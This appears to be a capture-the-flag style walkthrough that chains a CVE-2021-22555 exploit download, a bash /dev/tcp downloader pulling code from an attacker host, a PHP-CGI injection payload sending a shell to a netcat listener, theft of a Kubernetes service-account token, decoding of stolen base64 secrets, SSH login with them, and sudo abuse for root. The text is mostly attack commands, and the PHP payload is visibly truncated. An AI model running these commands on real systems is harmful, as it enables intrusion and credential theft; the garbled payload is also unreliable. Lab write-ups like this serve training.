CVE-2021-22555,

Command: git clone GitHub – xyjl-ly/CVE-2021-22555-Exploit: CVE-2021-22555 Exploit

Started python server with command: python3 -m http.server 8888

I have tried to download another exploit byt downloading first the exploit, then did dumping through the following on the victim’s machine:

echo '#!/bin/bash
exec 3<>/dev/tcp/10.10.14.97/8888
echo -e "GET /exploit HTTP/1.0\r\nHost: 10.10.14.97\r\n\r\n" >&3
cat <&3 | tail -n +$(($(grep -anm1 "^$" <&3 | cut -d: -f1) + 1)) > /tmp/exploit
chmod +x /tmp/exploit' > /tmp/downloader.sh && chmod +x /tmp/downloader.sh

cannot execute binary files as they are not allowed:

Command: php -r “echo file_get_contents(‘http://10.43.2.241:5000/’);”

Now run the following command inside the container, not your kali or attacker machine.

Command: echo ‘&1|nc 10.10.14.97 4444 > /tmp/.x”; $ctx=array(“http”=>array(“method”=>”POST”,”header”=>”Content-Type: application/x-www-form-urlencoded”,”content”=>$cmd,”timeout”=>4)); $stream=stream_context_create($ctx); $res=@file_get_contents(“http://legacy-intranet-service:5000/cgi-bin/php-cgi?–define+allow_url_include%3don+–define+auto_prepend_file%3dphp://input”,false,$stream); echo $res==false?””:substr($res,0,5000); ?>’ > /tmp/exploit.php

Command: ls to check if the file is there,

make sure that you have started your listener by nc -lvnp 4444

Run the exploit using: php exploit.php

You should have received the connection!

Command: cd /var/run/secrects/kubernetes.io

Command: curl –cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H “Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)” \
https://kubernetes.default.svc/api

Wait for the curl to finish:

user-secret-sydneysweeney	M04waHZ6c2pOS1lwMWpScXNMRWl3Y1VtcVZhcHZH”

Command: echo ‘dkNQV0FKRE5qY1NsTW9mc1RRcTg3dDZyVmszYnFWY3E=’ | base64 -d

Command: ssh babywyrm@10.10.11.94

For Root

Command: sudo /opt/debug help

remember the password we obtained from secrets file in our first container: sW5s********************,

Command: echo -n ‘sW5sp4spa3u7RLyetrekE4oSI’ | base64

You will use the above password when it asks you for administrative password to enter
